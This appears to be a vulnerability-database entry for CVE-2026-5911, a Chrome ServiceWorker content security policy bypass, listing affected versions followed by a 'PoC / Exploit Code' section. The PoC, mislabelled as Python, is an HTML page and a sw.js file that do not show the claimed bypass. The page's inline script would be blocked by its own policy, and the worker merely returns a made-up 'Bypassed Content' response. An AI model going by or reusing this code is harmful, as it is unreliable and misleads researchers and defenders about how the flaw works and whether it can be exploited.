Policy bypass in ServiceWorkers in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.55
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-5911: ServiceWorker Policy Bypass -->
<!-- This HTML page is served with a strict CSP -->
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">
<title>CVE-2026-5911 PoC</title>
</head>
<body>
<h1>Testing ServiceWorker CSP Bypass</h1>
<script>
if ('serviceWorker' in navigator) {
// Register the ServiceWorker
navigator.serviceWorker.register('sw.js')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
// Trigger a request to test bypass
fetch('/test-resource').then(r=>r.text()).then(console.log);
})
.catch(function(err) {
console.log('ServiceWorker registration failed: ', err);
});
}
</script>
</body>
</html>
// sw.js - ServiceWorker Script
// In a vulnerable version, this might bypass the parent page's CSP
self.addEventListener('install', function(event) {
console.log('[SW] Install');
});
self.addEventListener('fetch', function(event) {
// Attempt to load a resource that would normally be blocked by CSP
// For example, an external script or data
if (event.request.url.includes('/test-resource')) {
event.respondWith(
new Response('Bypassed Content', {headers: {'Content-Type': 'text/plain'}})
);
}
});